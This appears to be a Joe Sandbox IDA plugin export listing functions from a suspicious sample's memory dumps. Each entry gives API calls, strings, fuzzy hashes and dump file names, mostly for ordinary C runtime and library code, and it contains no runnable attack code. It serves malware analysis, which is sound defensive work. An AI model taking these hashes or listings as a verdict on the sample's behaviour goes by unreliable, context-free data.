Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 5a999d2ea94dec3626516ca7145e7216e99a2da7509d7faf8665fe5416b0f80a
Instruction ID: 16bc964f738a95ecc7bb5bb947a7a3ceec3d2c6342a0ab1991cfdfcf6ed449d1
Opcode Fuzzy Hash: 5a999d2ea94dec3626516ca7145e7216e99a2da7509d7faf8665fe5416b0f80a
Instruction Fuzzy Hash: 8E01F737259711DEAF352BB47C859672AA5EB263B5724032AF525B12F2FF118C0193B0

Function 00D969DA Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00D96AF9
CallUnexpected.LIBVCRUNTIME ref: 00D96D72

Strings

csm, xrefs: 00D96B30
csm, xrefs: 00D96A84
csm, xrefs: 00D96A17

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 38b46d1a1acc5d876f15c95fda3bc4e26f1a00a3478de9d38d645bc8d06a3da5
Instruction ID: f956a5fab7dc8a88a64835b240b149a3b43fff6b8648a60a86929b176905b27c
Opcode Fuzzy Hash: 38b46d1a1acc5d876f15c95fda3bc4e26f1a00a3478de9d38d645bc8d06a3da5
Instruction Fuzzy Hash: A8B158B1900209EFCF29DFA4C9819AEBBB5FF14314F18415AF815AB212D731EA51CBB1

Function 00DB5C74 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 63registrywindowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00DB5CD4
RegisterClassW.USER32 ref: 00DB5CEC
GetMessageW.USER32 ref: 00DB5D41

Strings

(, xrefs: 00DB5C9D
Melon, xrefs: 00DB5CAA

Memory Dump Source

Source File: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ClassHandleMessageModuleRegister
String ID: ($Melon
API String ID: 1585107554-1480228127
Opcode ID: 5c5a3cdfbb4f6886e64de4527dd19e818f089e5f6e6114349e5d41dd9d58ffc4
Instruction ID: 5d2e06aff7418538b31cabcf21c2b7033203aba761094ced71b8820f7877d8c0
Opcode Fuzzy Hash: 5c5a3cdfbb4f6886e64de4527dd19e818f089e5f6e6114349e5d41dd9d58ffc4
Instruction Fuzzy Hash: 5021B6B0905308DFDB44EFA8E58979EBBF0FB48300F50892AE44AD7354E77499489F66

Function 00D9139D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,00DA7345,000000FF,?,00D9145E,00D91345,?,00D914FA,00000000), ref: 00D913D2
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00D913E4
FreeLibrary.KERNEL32(00000000,?,?,00000000,00DA7345,000000FF,?,00D9145E,00D91345,?,00D914FA,00000000), ref: 00D91406

Strings

CorExitProcess, xrefs: 00D913DC
mscoree.dll, xrefs: 00D913CB

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0a094d671be87879b81e197280ddcf4fc8ec8b8b0401ae4f45415b3cc1bf3884
Instruction ID: d256b81d1e4b8afddf0bfd19b2d51447c9fc1503f627552f2d7acdb6e67df790
Opcode Fuzzy Hash: 0a094d671be87879b81e197280ddcf4fc8ec8b8b0401ae4f45415b3cc1bf3884
Instruction Fuzzy Hash: D0016735A4461AEFDF159F54CC09FAFBBB8FB44B11F044629E821E2790DB749900CA60

Function 00D98B36 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00D98BBB
__alloca_probe_16.LIBCMT ref: 00D98C84
__freea.LIBCMT ref: 00D98CEB

Part of subcall function 00D97381: HeapAlloc.KERNEL32(00000000,?,?,?,00D88E50,?,?,00D821C2,00001000,?,00D8210A), ref: 00D973B3

__freea.LIBCMT ref: 00D98CFE
__freea.LIBCMT ref: 00D98D0B

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 9baf3e48ae8b97a8198f8d5bb7064e6a8c78925ca85400659604db514eddfbd5
Instruction ID: 054fac9b009c71e15bc6ef15feee8a238d2110df2e5fdbb6940fb179d5576821
Opcode Fuzzy Hash: 9baf3e48ae8b97a8198f8d5bb7064e6a8c78925ca85400659604db514eddfbd5
Instruction Fuzzy Hash: 3351BFB2601246AFEF216F65CC81EBB7AA9EF96B10F190129FD05E6151EF30DD10A770

Function 00DB57C0 Relevance: 7.7, APIs: 5, Instructions: 162COMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32 ref: 00DB5872
CloseHandle.KERNEL32 ref: 00DB588E

Memory Dump Source

Source File: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: CloseFileHandleSize
String ID:
API String ID: 3849164406-0
Opcode ID: b4da3247686a4ea24307aef47fef77df224a25c53c3484fe273df1dad5d18e93
Instruction ID: d36972b7b1b45452316c96974dc5d16a88178b67316fb41438f00e4ea8c49c43
Opcode Fuzzy Hash: b4da3247686a4ea24307aef47fef77df224a25c53c3484fe273df1dad5d18e93
Instruction Fuzzy Hash: F4719DB4D04648CFDB10EFA8D588B9DBBF0BF48314F508529E499AB345D734A949CF62

Function 00D8BB07 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00D8BB1B
AcquireSRWLockExclusive.KERNEL32(?,?,00000000,00DA7328,000000FF,?,00D8892E), ref: 00D8BB3A
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,00DA7328,000000FF,?,00D8892E), ref: 00D8BB68
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,00DA7328,000000FF,?,00D8892E), ref: 00D8BBC3
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,00DA7328,000000FF,?,00D8892E), ref: 00D8BBDA

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 72d9beab925a8e3014d9044b3d5e3ca21e842fc8886a68301225fb7be935f00a
Instruction ID: 4a2b629674e56c22525ee5005967baaa2467f76b1821862f02a7dc57c9a7283e
Opcode Fuzzy Hash: 72d9beab925a8e3014d9044b3d5e3ca21e842fc8886a68301225fb7be935f00a
Instruction Fuzzy Hash: 3341277590060ADFCB20EF65C4909AAB3F4FF08360B584A6BE496D7654DB30F985CB71

Function 00D894BF Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D894C6
std::_Lockit::_Lockit.LIBCPMT ref: 00D894D1
std::_Lockit::~_Lockit.LIBCPMT ref: 00D8953F

Part of subcall function 00D893C8: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00D893E0

std::locale::_Setgloballocale.LIBCPMT ref: 00D894EC
_Yarn.LIBCPMT ref: 00D89502

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: fe085558b9bbbcac418db3ff29aa5df3de177dd4d3c7933e5f348f865aaa2295
Instruction ID: 36927654b3212abf823048b1a7bafe2152779ea13c336f6bb57befb803698d3c
Opcode Fuzzy Hash: fe085558b9bbbcac418db3ff29aa5df3de177dd4d3c7933e5f348f865aaa2295
Instruction Fuzzy Hash: 0A01BC75A00211EBC706FB20D86957DBBA1FF85320B184149E84197381DF34AA42CBB1

Function 00DA1BB1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00DA1C4D,00000000,?,00DB40C8,?,?,?,00DA1B84,00000004,InitializeCriticalSectionEx,00DAB2A4,00DAB2AC), ref: 00DA1BBE
GetLastError.KERNEL32(?,00DA1C4D,00000000,?,00DB40C8,?,?,?,00DA1B84,00000004,InitializeCriticalSectionEx,00DAB2A4,00DAB2AC,00000000,?,00D9702C), ref: 00DA1BC8
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00DA1BF0

Strings

api-ms-, xrefs: 00DA1BD5

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: f716b28ee99058d48d0ac170e28c1b21b20cdfd17ff09214755a2402ca0f6f8d
Instruction ID: f9bba14c2eb3cfcfd0144484d5e21db8f5e8298557f979501139dbe6055c02c1
Opcode Fuzzy Hash: f716b28ee99058d48d0ac170e28c1b21b20cdfd17ff09214755a2402ca0f6f8d
Instruction Fuzzy Hash: 54E04F30685309FBFF102B61EC06F5E3F58AB12B91F184021F90DE81E2EB61D9509AB4

Function 00D9F309 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 00D9F36C

Part of subcall function 00D97491: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00D98CE1,?,00000000,-00000008), ref: 00D974F2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00D9F5BE
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00D9F604
GetLastError.KERNEL32 ref: 00D9F6A7

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 3e993a70e924f527f98456c6c58face802228d08a03908e8db4fc86ea1170ff2
Instruction ID: 269be6e52615b882b0cc585c6779064c4fca898b6571cebe82f407c471ac4a71
Opcode Fuzzy Hash: 3e993a70e924f527f98456c6c58face802228d08a03908e8db4fc86ea1170ff2
Instruction Fuzzy Hash: 2BD14975D00258EFCF15CFA8D8809AEBBB5FF49314F28456AE865EB352D630E941CB60

Function 00D96701 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00D967C8
___AdjustPointer.LIBCMT ref: 00D967EB
___AdjustPointer.LIBCMT ref: 00D96887

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 090b6f0b512c26b8808fc8293638a69c18d12611ba49fac5e84e43d6be5eede8
Instruction ID: e59d74052eaf4aeb701b44971657424896e7ff8f4fd31a6f9b6ad292b521f51e
Opcode Fuzzy Hash: 090b6f0b512c26b8808fc8293638a69c18d12611ba49fac5e84e43d6be5eede8
Instruction Fuzzy Hash: 4051BF76A00206EFEF299F91D851BBAB7A4EF04B14F18452DE845876D1E731EC80CBB0

Function 00D9D135 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00D97491: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00D98CE1,?,00000000,-00000008), ref: 00D974F2

GetLastError.KERNEL32 ref: 00D9D199
__dosmaperr.LIBCMT ref: 00D9D1A0
GetLastError.KERNEL32 ref: 00D9D1DA
__dosmaperr.LIBCMT ref: 00D9D1E1

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 233db2b963efd57eeca43dfa7019cbd5fcf5551749c590d566727f98447ff958
Instruction ID: d1a7083fa3184a81d9d215e3fbb70d616e0f750529b803e911f2b4275ebaa60e
Opcode Fuzzy Hash: 233db2b963efd57eeca43dfa7019cbd5fcf5551749c590d566727f98447ff958
Instruction Fuzzy Hash: 6B219F72700305AFDF21AF6A8C8096BB7AAFF443A47148519F959A7251DB30ED40CBB0

Function 00D8EA02 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6632d0c43cc60cfa8f6adc5de762a7216655ea3068becb9dbdaf4aebe82fede
Instruction ID: 3ba9842fda5c4324ca8e6db3d3e04f64bba3ea26611249405f069a5415012712
Opcode Fuzzy Hash: d6632d0c43cc60cfa8f6adc5de762a7216655ea3068becb9dbdaf4aebe82fede
Instruction Fuzzy Hash: 3321A931604215BF9B28FF658C8096BB7A9FF40B647198A25F85AD7251EB30ED019FB0

Function 00D9E52B Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00D9E533

Part of subcall function 00D97491: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00D98CE1,?,00000000,-00000008), ref: 00D974F2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00D9E56B
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00D9E58B

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 54c35c0a5dcb941cf8583139c07fcebf67147abd9effc8346e8212600717bf9d
Instruction ID: a062ab5a912473d4fac1d0ceaf684ad244b34322521b02687160583ff79f9581
Opcode Fuzzy Hash: 54c35c0a5dcb941cf8583139c07fcebf67147abd9effc8346e8212600717bf9d
Instruction Fuzzy Hash: 8311C0F5A15215FE6F6177B6AC89CBF6FACCF843A83150128F841D1201FA20DF0192B1

Function 00D81690 Relevance: 6.1, APIs: 4, Instructions: 53threadCOMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00D816BD
GetCurrentThreadId.KERNEL32 ref: 00D816CB
std::_Throw_Cpp_error.LIBCPMT ref: 00D816E4
std::_Throw_Cpp_error.LIBCPMT ref: 00D81723

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID:
API String ID: 2261580123-0
Opcode ID: d6323db2f485d630e4feb223ad0b5b2731263442b290d4ab544adcec5536a877
Instruction ID: acabde55f8244096f8cb4f37f7a538f2973f3381ccc1db1300655912b092cdb3
Opcode Fuzzy Hash: d6323db2f485d630e4feb223ad0b5b2731263442b290d4ab544adcec5536a877
Instruction Fuzzy Hash: EE21D3B4E04209CFDB08EFA8D5926AEFBF5EF48300F05845DE889A7351DB399941CB61

Function 00D8AA61 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D8AA68
std::_Lockit::_Lockit.LIBCPMT ref: 00D8AA72

Part of subcall function 00D84080: std::_Lockit::_Lockit.LIBCPMT ref: 00D840AE
Part of subcall function 00D84080: std::_Lockit::~_Lockit.LIBCPMT ref: 00D840D9

codecvt.LIBCPMT ref: 00D8AAAC
std::_Lockit::~_Lockit.LIBCPMT ref: 00D8AAE3

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 21ffaabe07afb4926a25e34ba41d4919728605c1086803f18af94245b3fbb3e7
Instruction ID: dca86890ad292cee8853a663e44467a35fda09e86b1319434b1a72bb4c1c1822
Opcode Fuzzy Hash: 21ffaabe07afb4926a25e34ba41d4919728605c1086803f18af94245b3fbb3e7
Instruction Fuzzy Hash: 1B01C0B1900216DBCB09FB68D9596BEB7B5EF80320F29410AE811A7391DF749E00CBB1

Function 00DA6060 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00DA554F,00000000,00000001,00000000,?,?,00D9F6FB,?,00000000,00000000), ref: 00DA6077
GetLastError.KERNEL32(?,00DA554F,00000000,00000001,00000000,?,?,00D9F6FB,?,00000000,00000000,?,?,?,00D9F041,00000000), ref: 00DA6083

Part of subcall function 00DA60D4: CloseHandle.KERNEL32(FFFFFFFE,00DA6093,?,00DA554F,00000000,00000001,00000000,?,?,00D9F6FB,?,00000000,00000000,?,?), ref: 00DA60E4

___initconout.LIBCMT ref: 00DA6093

Part of subcall function 00DA60B5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00DA6051,00DA553C,?,?,00D9F6FB,?,00000000,00000000,?), ref: 00DA60C8

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00DA554F,00000000,00000001,00000000,?,?,00D9F6FB,?,00000000,00000000,?), ref: 00DA60A8

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
